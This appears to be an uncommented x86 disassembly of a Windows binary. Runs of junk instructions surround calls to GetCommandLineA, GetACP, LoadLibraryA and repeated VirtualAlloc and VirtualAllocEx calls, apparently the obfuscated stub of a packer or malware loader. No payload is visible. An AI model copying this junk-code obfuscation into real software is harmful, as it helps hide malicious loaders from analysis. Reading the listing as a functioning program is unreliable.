mov edx, dword [ebp]
mov ax, 0x10
mov eax, edi
mov esi, dword [esp]
lea edi, [esp]
mov esi, edx
mov dx, 0x20
lea edi, [ebp]
mov edi, edx
mov cx, 0x20
mov esi, dword [ebp - 0x3c]
lea edi, [ebp]
lea esi, [esp]
mov edi, 0x20
lea eax, [ebp - 0x38]
lea edi, [esp]
lea edi, [esp]
mov di, 8
mov esi, 0x2c
mov dword [ebp - 0x38], esi
mov esi, dword [ebp]
mov eax, dword [esp]
mov eax, edx
mov edx, dword [ebp - 0x38]
mov esi, eax
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x3c]
mov esi, 0x97
mov esi, dword [ebp - 0x30]
lea esi, [ebp]
lea ecx, [ebp]
lea edi, [ebp]
mov edi, dword [esp]
mov esi, dword [ebp - 0x2c]
mov edx, dword [esp]
lea edi, [ebp]
mov edx, edi
mov ecx, dword [ebp]
mov ecx, dword [esp]
lea ecx, [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
xor edx, edx
and dword [ebp - 0x30], 0xffff
mov ecx, dword [ebp - 0x38]
or dword [ebp - 0x3c], 0xff
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea eax, [ebp - 0x38]
mov dx, 0x10
lea esi, [esp]
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp]
lea eax, [esp]
lea edx, [ebp - 0x34]
lea edi, [esp]
mov esi, dword [ebp]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp]
lea ecx, [ebp - 0x38]
lea eax, [ebp]
mov edx, dword [ebp]
mov edi, 0x8c
mov edi, 0x20
mov dword [ebp - 0x38], edi
mov edi, dword [esp]
lea eax, [esp]
mov ax, 0x10
mov ecx, dword [esp]
mov di, 2
mov edx, 0x40
mov edi, dword [esp]
mov edx, dword [esp]
mov eax, 1
mov cx, 0x23
mov esi, dword [ebp]
mov ecx, 0x87
lea edx, [esp]
mov esi, dword [esp]
lea edi, [esp]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov edi, dword [esp]
mov ecx, dword [ebp - 0x3c]
lea edi, [ebp - 0x38]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], edi
mov ecx, dword [esp]
mov edi, 0xee
mov eax, dword [ebp - 0x3c]
mov edi, dword [esp]
lea ecx, [ebp - 0x3c]
sub ecx, ecx
xor dword [ebp - 0x34], 0xffff
sub ecx, ecx
cmp ecx, 0xcb
jb 0x409de7
mov eax, dword [ebp - 0x2c]
cmp ecx, 0
jae 0x409de7
lea eax, [ebp - 0x38]
mov dword [ebp - 0x38], eax
push 4
push 0x8000
push 0xf00
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea edi, [ebp]
mov edi, eax
mov esi, dword [esp]
mov edi, dword [ebp]
mov edx, dword [ebp - 0x3c]
mov di, 0x6b
mov esi, dword [ebp]
mov esi, 0xa9
mov ecx, dword [esp]
mov edi, dword [ebp]
mov edx, edi
mov eax, esi
lea ecx, [ebp]
mov edx, 0x5c
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp]
mov ecx, dword [ebp]
lea edi, [esp]
lea esi, [esp]
lea edi, [ebp]
lea edx, [ebp - 0x34]
mov edi, edx
mov edx, dword [ebp - 0x38]
mov edx, 0x70
lea ecx, [ebp - 0x30]
mov esi, dword [esp]
mov edi, ecx
mov di, 0xaa
lea ecx, [ebp - 0x3c]
mov edx, 0xaf
lea eax, [esp]
mov edx, dword [esp]
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x30], edx
lea edi, [ebp - 0x3c]
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x38], edx
lea edi, [ebp]
mov di, 0xdf
mov eax, edi
mov eax, 0xc8
mov ax, 2
mov dword [ebp - 0x2c], 1
cmp dword [ebp - 0x3c], eax
jae 0x409e9e
mov edx, dword [ebp - 0x2c]
and dword [ebp - 0x34], 0xffffff
cmp edx, dword [ebp - 0x30]
jne 0x409e9e
or dword [ebp - 0x2c], 0xff00ff
push 2
push 0x4000
push 0x900
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, 8
lea ecx, [esp]
mov edx, edi
mov esi, dword [ebp - 0x38]
mov si, 0xa7
mov dword [ebp - 0x34], ecx
mov edi, eax
mov eax, dword [esp]
mov dword [ebp - 0x2c], eax
mov edi, dword [ebp - 0x3c]
mov edi, 0x82
mov ax, 0x80
mov edx, dword [ebp - 0x3c]
mov dx, 0xed
mov di, 0x58
mov si, 8
mov edi, edx
mov eax, 0x13
mov dword [ebp - 0x38], edi
mov ecx, dword [esp]
mov eax, 0x20
mov dword [ebp - 0x30], esi
lea edx, [ebp - 0x38]
mov ecx, dword [esp]
lea edx, [ebp]
mov edi, dword [esp]
mov esi, ecx
mov edi, edx
mov esi, dword [ebp - 0x34]
mov edi, dword [esp]
mov edi, 0
mov edi, dword [ebp]
lea ecx, [ebp - 0x38]
mov edx, dword [esp]
lea eax, [ebp]
mov edi, ecx
lea eax, [esp]
lea esi, [ebp - 0x34]
mov dword [ebp - 0x34], eax
lea edx, [esp]
call dword [sym.imp.KERNEL32.dll_GetACP]
lea esi, [ebp - 0x2c]
lea eax, [esp]
mov edi, dword [esp]
lea edx, [esp]
mov di, 0x85
mov ecx, edi
mov eax, dword [esp]
mov si, 0x80
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x38], edx
mov edi, dword [ebp - 0x3c]
lea eax, [ebp]
mov esi, ecx
mov dword [ebp - 0x3c], eax
mov eax, edx
lea edi, [ebp]
mov dword [ebp - 0x2c], esi
mov edi, dword [ebp]
lea edi, [ebp]
mov edi, dword [ebp - 0x34]
mov ecx, dword [esp]
lea edi, [ebp]
mov ecx, dword [esp]
lea edx, [ebp - 0x2c]
mov edi, dword [ebp]
lea edi, [esp]
mov edi, dword [ebp - 0x34]
mov edi, dword [ebp - 0x30]
mov edx, ecx
mov esi, ecx
mov edi, dword [ebp - 0x34]
mov edx, dword [esp]
lea eax, [esp]
mov cx, 0x92
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], edi
mov eax, dword [ebp - 0x38]
mov dx, 0x20
lea edx, [esp]
lea eax, [ebp - 0x38]
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x3c]
jne 0x409fd6
sub dword [ebp - 0x34], 0x3b
mov ecx, pe_nt_image_headers32
mov dword [ebp - 0x30], 0x40
and dword [ebp - 0x3c], 0xffff
xor ecx, ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [ebp - 0x38]
mov edi, eax
lea eax, [ebp]
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp]
mov eax, edi
lea esi, [ebp - 0x2c]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp]
lea edi, [ebp]
mov edi, 1
mov edi, dword [ebp - 0x30]
mov edi, dword [ebp]
mov eax, 0xbb
mov di, 0
mov dword [ebp - 0x3c], edi
lea eax, [esp]
lea edi, [ebp - 0x34]
lea edi, [esp]
mov eax, 0x20
mov edx, esi
mov cx, 0xea
mov ecx, dword [ebp]
lea edx, [ebp - 0x30]
lea eax, [ebp - 0x3c]
mov ecx, 0xea
mov edx, edi
mov ecx, dword [ebp]
mov eax, edi
lea edi, [esp]
mov edx, edi
lea edx, [esp]
mov dword [ebp - 0x3c], eax
mov edi, dword [ebp - 0x2c]
lea edi, [ebp - 0x30]
mov dword [ebp - 0x2c], edi
mov esi, dword [esp]
lea eax, [ebp]
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp]
mov eax, dword [ebp - 0x30]
mov si, 0x7a
call dword [sym.imp.KERNEL32.dll_GetACP]
mov dword [ebp - 0x38], esi
mov esi, dword [ebp - 0x38]
mov edx, esi
mov dword [ebp - 0x3c], esi
mov esi, 0x32
mov edx, dword [ebp - 0x3c]
lea edi, [ebp - 0x38]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], esi
mov edi, esi
mov dword [ebp - 0x38], edi
mov di, 0xa4
mov eax, dword [ebp]
mov ecx, dword [esp]
mov si, 0xb
mov di, 1
mov edi, eax
mov edi, dword [ebp - 0x2c]
mov edi, dword [esp]
mov ax, 0x1b
lea edx, [ebp]
mov si, 0xa
lea edx, [esp]
lea eax, [ebp]
lea ecx, [ebp]
mov esi, dword [ebp - 0x34]
mov esi, dword [ebp - 0x3c]
mov dword [ebp - 0x30], ecx
mov ecx, dword [esp]
mov edi, dword [esp]
mov edi, 0xf3
mov esi, dword [ebp]
mov dword [ebp - 0x3c], edi
lea edi, [ebp - 0x34]
lea eax, [ebp - 0x38]
mov edx, dword [ebp]
lea edx, [esp]
lea edx, [ebp - 0x34]
lea esi, [ebp - 0x30]
mov edx, 0x200
and dword [ebp - 0x38], 0xff00ff
or dword [ebp - 0x34], 0xffffff
mov dword [ebp - 0x34], edx
sub edx, edx
or dword [ebp - 0x3c], 0xffffff
and dword [ebp - 0x3c], 0xffffff
cmp dword [ebp - 0x34], edx
jae 0x40a11a
mov eax, dword [ebp - 0x34]
cmp edx, 0x4c
jbe 0x40a11a
push 0x4110ac
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
mov edx, dword [ebp - 0x34]
xor dword [ebp - 0x30], 0xffff
sub edx, edx
lea edx, [ebp - 0x2c]
cmp edx, 0xfb
jbe 0x40a14d
mov edi, 0xc8
mov edx, 0x10
cmp edi, dword [ebp - 0x34]
jne 0x40a14d
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x2c]
xor dword [ebp - 0x34], 0xffffff
xor edi, edi
or dword [ebp - 0x30], 0xff00ff
cmp edx, 0
jne 0x40a17b
mov edi, 0
and dword [ebp - 0x30], 0xff
or dword [ebp - 0x30], 0xffff
push ecx
mov ecx, dword [ebp - 0x2c]
sub dword [ebp - 0x34], 8
test ecx, ecx
jae 0x40a192
xor eax, eax
add dword [ebp - 0x2c], 0x10
cmp eax, dword [ebp - 0x30]
jb 0x40a192
ret
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x38], ecx
mov ecx, 0x300
mov dx, 0x5b
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], edx
mov di, 0x87
lea eax, [ebp]
mov edx, dword [ebp]
mov dword [ebp - 0x38], eax
mov ecx, 0x40
lea ecx, [ebp - 0x34]
mov esi, 0x98
mov edx, dword [esp]
mov esi, dword [esp]
mov eax, dword [esp]
lea edi, [ebp]
lea ecx, [ebp - 0x38]
lea esi, [ebp]
mov ecx, dword [esp]
mov ecx, dword [ebp]
mov esi, dword [ebp]
lea eax, [ebp]
mov esi, 0x40
mov ecx, dword [ebp]
mov ecx, 0xdd
mov edi, 0x2e
lea eax, [esp]
lea edi, [ebp - 0x30]
mov edi, esi
mov ecx, dword [ebp - 0x2c]
lea esi, [ebp]
lea edi, [esp]
lea edi, [ebp - 0x2c]
mov dword [ebp - 0x2c], ecx
mov esi, dword [ebp]
mov edi, edx
lea eax, [esp]
mov edi, 0xec
mov eax, 0xfd
mov dword [ebp - 0x3c], edx
lea edx, [ebp - 0x34]
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x2c], edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea edi, [esp]
mov ecx, 0x1c
lea ecx, [esp]
mov ecx, 0x5d
lea ecx, [esp]
lea ecx, [esp]
mov edx, dword [ebp - 0x38]
mov edx, edi
lea edx, [ebp]
mov ecx, 0x80
mov ecx, edi
mov eax, dword [ebp - 0x3c]
lea edx, [ebp]
lea edi, [ebp]
lea eax, [ebp]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edi
mov eax, 0x68
mov dx, 0x10
mov ecx, 8
mov edx, dword [ebp]
mov edx, dword [esp]
mov edi, 0xb1
mov dword [ebp - 0x34], eax
mov di, 0xf9
mov esi, dword [ebp - 0x3c]
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x38], ecx
mov eax, edi
mov edi, 0x2a
mov edi, ecx
mov edi, eax
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x30], ecx
mov edi, 0x90
mov di, 0xf0
mov dword [ebp - 0x38], edi
mov si, 2
mov eax, dword [ebp - 0x30]
mov esi, dword [ebp]
mov edx, ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 0x38], edi
lea edi, [ebp - 0x38]
mov esi, dword [esp]
mov edi, ecx
mov edi, eax
lea edi, [esp]
lea edx, [ebp]
mov edi, dword [ebp]
mov dword [ebp - 0x3c], eax
mov ecx, eax
mov edi, 0x2f
mov dword [ebp - 0x30], edx
mov edi, dword [ebp]
mov ecx, dword [esp]
mov eax, dword [ebp]
mov si, 0x95
lea ecx, [ebp]
lea ecx, [esp]
mov edi, dword [ebp - 0x30]
mov dword [ebp - 0x3c], edi
lea ecx, [esp]
mov cx, 2
mov edi, dword [esp]
mov ecx, eax
mov si, 0x40
mov edi, dword [esp]
mov dword [ebp - 0x34], ecx
mov esi, dword [esp]
mov eax, 0x40
lea ecx, [ebp]
lea edi, [ebp - 0x3c]
mov edx, 2
mov edi, dword [esp]
mov edx, dword [ebp]
mov dword [ebp - 0x3c], esi
mov cx, 8
mov ecx, edi
mov dword [ebp - 0x34], edi
mov eax, dword [esp]
lea esi, [ebp]
mov edi, dword [ebp]
mov eax, 0x64
mov ax, 0x3a
cmp eax, 0
jne 0x40a40b
xor edx, edx
mov ax, 0x20
mov eax, 0x64
sub eax, eax
mov dword [ebp - 0x34], 0x35
mov ax, 0x5a
cmp eax, dword [ebp - 0x2c]
jne 0x40a424
sub edx, edx
xor eax, eax
cmp eax, 0
ja 0x40a436
xor ecx, ecx
cmp ecx, 0
jae 0x40a436
mov cx, 0x10
and dword [ebp - 0x30], 0xff00ff
and dword [ebp - 0x3c], 0xff00ff
call dword [sym.imp.KERNEL32.dll_GetACP]
lea edi, [ebp - 0x38]
mov dx, 0xa5
mov dword [ebp - 0x3c], esi
lea ecx, [esp]
mov di, 0x2f
mov dx, 1
mov edi, 0x79
mov cx, 0x40
lea edi, [esp]
mov eax, esi
mov esi, dword [ebp - 0x30]
mov di, 0x89
mov edi, dword [ebp]
mov ecx, edi
mov dword [ebp - 0x3c], esi
mov eax, 0x10
lea ecx, [esp]
mov edi, esi
lea edi, [ebp]
mov eax, edi
mov ecx, 6
mov ecx, 0xad
lea ecx, [ebp - 0x34]
mov edx, dword [ebp - 0x34]
lea edi, [ebp]
lea ecx, [ebp - 0x2c]
lea eax, [ebp]
mov ecx, esi
lea esi, [ebp]
mov eax, esi
mov edi, dword [esp]
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x2c], ecx
mov esi, dword [esp]
mov di, 1
mov dword [ebp - 0x30], esi
lea esi, [ebp]
mov ecx, dword [ebp]
lea edi, [ebp - 0x2c]
mov ecx, dword [ebp - 0x34]
lea eax, [ebp]
mov esi, dword [esp]
push 2
push 0x2000
push 0xe00
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea edi, [ebp - 0x34]
mov edi, dword [ebp]
mov edi, 0x2e
mov esi, 0x69
mov edi, esi
mov eax, dword [ebp]
lea edx, [esp]
mov dword [ebp - 0x3c], edi
lea esi, [ebp - 0x3c]
mov dword [ebp - 0x30], edx
mov edi, dword [esp]
mov edi, dword [esp]
mov eax, dword [ebp]
mov ax, 0x10
lea esi, [ebp]
mov ecx, esi
mov edi, eax
mov cx, 0x10
lea edx, [esp]
lea ecx, [ebp]
mov edx, ecx
mov edi, dword [ebp - 0x30]
lea ecx, [ebp]
mov di, 0x10
mov edi, edx
lea edi, [ebp]
lea eax, [ebp]
mov edi, 0x10
lea ecx, [esp]
mov eax, dword [ebp - 0x2c]
mov ecx, 2
mov edi, 0x55
mov dword [ebp - 0x30], eax
mov edi, esi
mov edi, dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x38], ecx
lea edi, [ebp - 0x38]
mov esi, dword [ebp]
mov esi, 0x7d
lea ecx, [ebp - 0x34]
lea ecx, [ebp - 0x3c]
mov eax, ecx
mov ecx, eax
push 8
push 0x2000
push 0x900
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov di, 0x92
lea eax, [ebp]
mov ecx, dword [esp]
lea ecx, [ebp - 0x2c]
mov edi, dword [ebp]
mov dword [ebp - 0x34], eax
lea esi, [ebp]
mov eax, dword [ebp]
mov edi, edx
mov edi, eax
mov di, 0x10
mov edx, dword [esp]
mov di, 0x39
lea edi, [ebp - 0x2c]
mov dword [ebp - 0x30], edi
lea eax, [ebp]
mov si, 1
mov ecx, eax
mov di, 0x20
mov eax, dword [esp]
mov edi, eax
mov esi, dword [esp]
mov eax, 0xc6
mov edx, dword [esp]
mov eax, dword [ebp]
mov dword [ebp - 0x3c], esi
mov eax, dword [esp]
mov eax, 0xb1
lea edx, [ebp - 0x3c]
lea esi, [esp]
lea edi, [ebp - 0x38]
mov edx, 0x96
mov edx, eax
lea ecx, [esp]
lea edi, [ebp - 0x34]
mov edi, dword [ebp]
mov dword [ebp - 0x3c], edx
mov edx, dword [esp]
mov edi, dword [ebp]
mov ecx, dword [ebp - 0x3c]
sub dword [ebp - 0x38], 8
sub edx, edx
mov dword [ebp - 0x30], 0x73
or dword [ebp - 0x34], 0xffff
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea edi, [ebp - 0x38]
mov edi, dword [ebp]
lea ecx, [esp]
lea esi, [esp]
mov ecx, edi
lea esi, [ebp - 0x34]
lea edi, [ebp]
mov dword [ebp - 0x38], esi
mov ecx, 0x20
mov si, 0xd
lea edi, [ebp]
mov esi, edi
mov dword [ebp - 0x2c], esi
mov cx, 0x28
lea edi, [ebp - 0x2c]
mov dx, 0x40
lea ecx, [ebp]
mov edx, dword [esp]
mov ax, 0x10
mov di, 0xef
mov edi, dword [esp]
lea edi, [ebp - 0x34]
mov esi, dword [esp]
mov edi, dword [ebp]
lea eax, [ebp - 0x34]
lea edi, [ebp]
mov edx, dword [ebp]
lea edi, [ebp - 0x2c]
mov dword [ebp - 0x3c], edi
mov eax, ecx
mov ax, 1
lea ecx, [esp]
mov esi, edi
lea esi, [ebp]
mov ecx, dword [esp]
mov esi, ecx
mov edi, dword [ebp]
mov esi, dword [esp]
mov edi, 0x88
mov edx, 0
sub edx, edx
mov dword [ebp - 0x2c], 0x47
xor dword [ebp - 0x3c], 0xffff
mov dx, 0x60
mov edx, 0x12
cmp edx, 0x5d1
jae 0x40a6d7
mov eax, 0x200
mov dword [ebp - 0x30], eax
and dword [ebp - 0x34], 0xffffff
cmp edx, 0xdc1
jae 0x40a6d7
mov dword [ebp - 0x34], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea edi, [esp]
mov eax, dword [esp]
mov edi, dword [esp]
mov edx, 7
mov edx, dword [ebp]
mov edi, dword [esp]
lea edi, [ebp]
mov di, 0xfa
mov ecx, dword [esp]
lea edx, [ebp - 0x2c]
lea edx, [ebp]
mov edi, dword [ebp - 0x3c]
lea edx, [ebp - 0x30]
mov edx, dword [ebp - 0x3c]
mov di, 0x1e
mov esi, dword [esp]
mov dx, 0x99
mov di, 0x20
mov esi, edx
mov edx, dword [ebp]
mov eax, dword [ebp - 0x38]
lea ecx, [esp]
mov edi, 2
lea edi, [ebp]
mov edi, 2
mov di, 0x25
mov eax, dword [esp]
mov esi, dword [ebp - 0x2c]
mov esi, dword [ebp]
mov dword [ebp - 0x3c], edi
mov eax, dword [ebp]
mov eax, 1
lea edi, [esp]
mov edi, edx
mov dword [ebp - 0x34], edi
lea eax, [ebp]
lea edi, [ebp]
mov edx, dword [esp]
mov eax, 2
mov ecx, 0x300
sub dword [ebp - 0x38], 5
mov ecx, 0x80
cmp ecx, 0
jne 0x40a78c
mov edx, dword [ebp - 0x2c]
add dword [ebp - 0x2c], 0x80
or dword [ebp - 0x38], 0xff00ff
xor dword [ebp - 0x2c], 0xff
push 4
push 0x2000
push 0xc00
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea esi, [ebp - 0x2c]
mov dword [ebp - 0x38], edi
lea edx, [ebp]
mov edi, esi
mov si, 0x25
mov edx, 0x6e
mov edi, eax
mov ecx, dword [esp]
lea eax, [esp]
mov eax, dword [ebp]
mov dword [ebp - 0x2c], ecx
mov ecx, 0xcc
mov eax, dword [ebp - 0x30]
mov esi, 0x10
mov ecx, dword [ebp - 0x38]
lea edi, [esp]
mov dword [ebp - 0x2c], edi
mov edx, dword [esp]
mov edi, dword [ebp]
mov ecx, 0x10
mov cx, 2
lea eax, [ebp]
lea edi, [ebp]
mov edi, dword [ebp]
mov di, 8
mov dword [ebp - 0x30], edi
mov edi, eax
mov eax, 0xa8
mov eax, esi
mov edi, 0xf6
lea ecx, [ebp - 0x34]
mov ecx, 0xd1
mov ecx, edx
mov edi, dword [ebp]
mov dword [ebp - 0x38], edx
mov edx, dword [ebp]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x34], ecx
lea edx, [ebp]
push 4
push 0x4000
push 0x200
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, dword [ebp]
lea eax, [ebp]
mov edi, dword [ebp - 0x2c]
mov edi, 0x80
mov edi, dword [esp]
mov ecx, eax
mov esi, dword [ebp]
mov si, 0x3f
mov edi, 0x20
mov edi, dword [esp]
lea edi, [esp]
lea eax, [ebp]
mov esi, 0x40
lea edi, [ebp]
mov ax, 0x64
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x3c], edi
lea edi, [ebp]
lea edx, [ebp]
mov edi, 0x10
mov edx, eax
mov dword [ebp - 0x34], ecx
mov esi, dword [esp]
mov edx, dword [ebp - 0x30]
mov edi, dword [esp]
mov si, 0x10
mov ax, 0x40
lea eax, [esp]
mov edx, 0x57
lea esi, [esp]
lea eax, [ebp - 0x38]
lea edi, [esp]
mov dword [ebp - 0x3c], edi
mov esi, dword [esp]
lea edx, [ebp - 0x34]
lea ecx, [ebp]
mov ecx, dword [ebp]
mov dword [ebp - 0x2c], edi
mov eax, 0x200
mov dword [ebp - 0x2c], eax
cmp eax, 0xa5
jae 0x40a8e1
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x30], 0x40
mov edx, 4
xor dword [ebp - 0x30], 0xff
xor eax, eax
mov dx, 0x20
mov edx, 0x11
push 8
push 0x8000
push 0xd00
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, dword [ebp - 0x3c]
lea edi, [ebp]
mov eax, dword [esp]
mov si, 4
mov ecx, dword [esp]
lea edi, [esp]
mov dword [ebp - 0x3c], edx
lea edx, [ebp - 0x38]
mov edi, edx
lea esi, [esp]
mov esi, dword [ebp]
mov edi, dword [ebp]
mov eax, dword [ebp]
mov ecx, dword [esp]
mov ecx, dword [ebp - 0x2c]
mov di, 0x1e
mov esi, dword [ebp]
mov dword [ebp - 0x34], edx
lea eax, [esp]
lea esi, [ebp - 0x3c]
mov edx, dword [esp]
mov esi, dword [esp]
mov edi, dword [ebp - 0x3c]
lea edi, [ebp - 0x3c]
mov eax, dword [ebp]
mov ecx, edi
lea edx, [ebp]
mov di, 0x8d
mov esi, 2
lea edi, [ebp]
lea eax, [ebp]
lea esi, [ebp - 0x2c]
mov esi, 4
mov eax, dword [ebp]
lea eax, [ebp]
lea eax, [ebp]
mov dword [ebp - 0x2c], edx
mov ecx, 0x80
mov esi, edx
mov ecx, 0xc8
and dword [ebp - 0x34], 0xffffff
mov eax, 0
lea ecx, [ebp - 0x38]
xor eax, eax
push 4
push 0x8000
push 0x700
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea esi, [ebp - 0x34]
mov ecx, dword [esp]
mov esi, edx
mov ecx, edi
mov ecx, dword [ebp - 0x34]
mov si, 0x80
mov edx, edi
mov dword [ebp - 0x2c], edx
mov edi, eax
mov dword [ebp - 0x38], ecx
mov edi, 0x27
lea edx, [ebp - 0x2c]
mov edi, dword [esp]
mov eax, dword [esp]
lea edx, [ebp]
mov edi, dword [ebp]
lea esi, [esp]
lea edx, [esp]
mov ecx, dword [esp]
mov esi, dword [esp]
lea edi, [ebp - 0x2c]
mov di, 0x8c
mov eax, dword [ebp - 0x2c]
mov ax, 0x1b
lea edi, [esp]
mov ecx, dword [esp]
lea eax, [ebp]
mov edx, 0xf2
mov edi, dword [esp]
mov esi, dword [esp]
mov ax, 0x9b
lea esi, [ebp]
lea eax, [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x34]
mov edi, dword [esp]
mov dx, 0xdc
lea ecx, [ebp]
mov si, 4
xor ecx, ecx
sub dword [ebp - 0x3c], 0x20
cmp ecx, 0
jb 0x40aa41
xor edx, edx
xor dword [ebp - 0x2c], 0xff00ff
and dword [ebp - 0x34], 0xff00ff
and dword [ebp - 0x38], 0xff00ff
lea edx, [ebp - 0x38]
sub dword [ebp - 0x34], 4
and dword [ebp - 0x2c], 0xffffff
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [esp]
mov edi, dword [ebp]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov edi, 0x4e
mov eax, dword [ebp]
mov ecx, dword [esp]
mov edx, dword [ebp]
lea eax, [ebp]
lea esi, [ebp - 0x2c]
mov esi, dword [ebp - 0x38]
mov eax, ecx
mov dword [ebp - 0x34], eax
lea esi, [ebp]
mov edi, dword [ebp]
mov di, 0xc1
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], eax
lea esi, [ebp - 0x38]
mov edx, 8
mov ecx, edx
mov ecx, 0xe9
lea edi, [ebp - 0x30]
lea edx, [ebp]
mov edi, 0xd9
mov dword [ebp - 0x30], edi
lea eax, [esp]
mov esi, dword [esp]
mov edx, dword [ebp]
mov edi, 0xed
mov dword [ebp - 0x30], edx
lea edx, [esp]
mov dword [ebp - 0x34], esi
lea edx, [ebp]
mov esi, dword [ebp - 0x34]
mov esi, edi
lea edi, [ebp - 0x3c]
lea esi, [ebp]
mov ecx, eax
mov eax, 0
add dword [ebp - 0x34], 1
sub dword [ebp - 0x34], 4
cmp dword [ebp - 0x2c], eax
jbe 0x40aaed
mov ecx, dword [ebp - 0x2c]
mov cx, 0x6f
test eax, eax
jb 0x40aaed
mov dword [ebp - 0x34], ecx
push 0x411628
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x1c], eax
xor ecx, ecx
cmp ecx, 0x62
jae 0x40ab0f
mov eax, pe_nt_image_headers32
cmp dword [ebp - 0x30], ecx
jae 0x40ab0f
push 2
push 0x2000
push 0xf00
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x38], ecx
mov esi, dword [ebp - 0x2c]
mov edi, 0x10
mov edi, 0x12
mov edi, dword [ebp]
lea esi, [esp]
mov dword [ebp - 0x2c], esi
lea edx, [ebp]
mov edx, dword [ebp - 0x30]
lea edx, [ebp - 0x38]
mov edi, dword [ebp - 0x3c]
lea ecx, [ebp]
mov ax, 1
mov dword [ebp - 0x3c], edi
lea esi, [ebp]
lea esi, [ebp - 0x38]
lea edx, [ebp - 0x2c]
lea edi, [ebp - 0x38]
mov edi, 2
lea edx, [esp]
mov ecx, 0x20
mov esi, dword [ebp - 0x38]
lea esi, [ebp - 0x38]
mov edi, dword [esp]
lea ecx, [ebp]
lea edi, [esp]
lea edi, [ebp]
lea esi, [ebp - 0x38]
mov dword [ebp - 0x38], edi
mov edi, dword [ebp]
mov ecx, 0x40
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x2c]
mov esi, dword [esp]
mov esi, 0x75
lea ecx, [esp]
lea ecx, [ebp - 0x3c]
mov cx, 0x18
mov ecx, dword [ebp]
mov ecx, dword [ebp - 0x34]
sub eax, eax
and dword [ebp - 0x2c], 0xff
mov eax, 0x300
mov dword [ebp - 0x30], eax
xor eax, eax
xor dword [ebp - 0x34], 0xff00ff
xor dword [ebp - 0x3c], 0xffff
mov dword [ebp - 0x3c], eax
sub eax, eax
cmp eax, 0
jae 0x40abe0
mov edx, 0x12c
cmp eax, 0
jne 0x40abe0
mov dword [ebp - 0x30], 2
add dword [ebp - 0x38], 0x40
push 2
push 0x4000
push 0xa00
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp]
mov eax, esi
lea ecx, [ebp - 0x3c]
mov ecx, edx
mov edi, dword [ebp]
lea edi, [ebp - 0x2c]
mov edi, dword [ebp - 0x38]
mov edi, dword [esp]
lea esi, [esp]
mov ecx, dword [ebp]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x2c]
lea edx, [ebp - 0x30]
lea eax, [esp]
mov ax, 0x92
mov edi, dword [ebp]
mov si, 0x26
mov di, 0xe6
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x2c], ecx
mov edi, dword [esp]
mov edi, esi
lea edi, [esp]
lea edi, [ebp - 0x38]
mov ecx, 0x40
mov eax, dword [esp]
mov edx, dword [ebp]
mov si, 0x40
lea edi, [ebp - 0x34]
lea esi, [esp]
lea edi, [ebp]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x2c], edx
mov ecx, dword [esp]
lea ecx, [ebp - 0x3c]
lea eax, [esp]
lea edx, [esp]
lea edx, [ebp]
mov edi, dword [esp]
mov edx, dword [ebp - 0x34]
lea eax, [ebp]
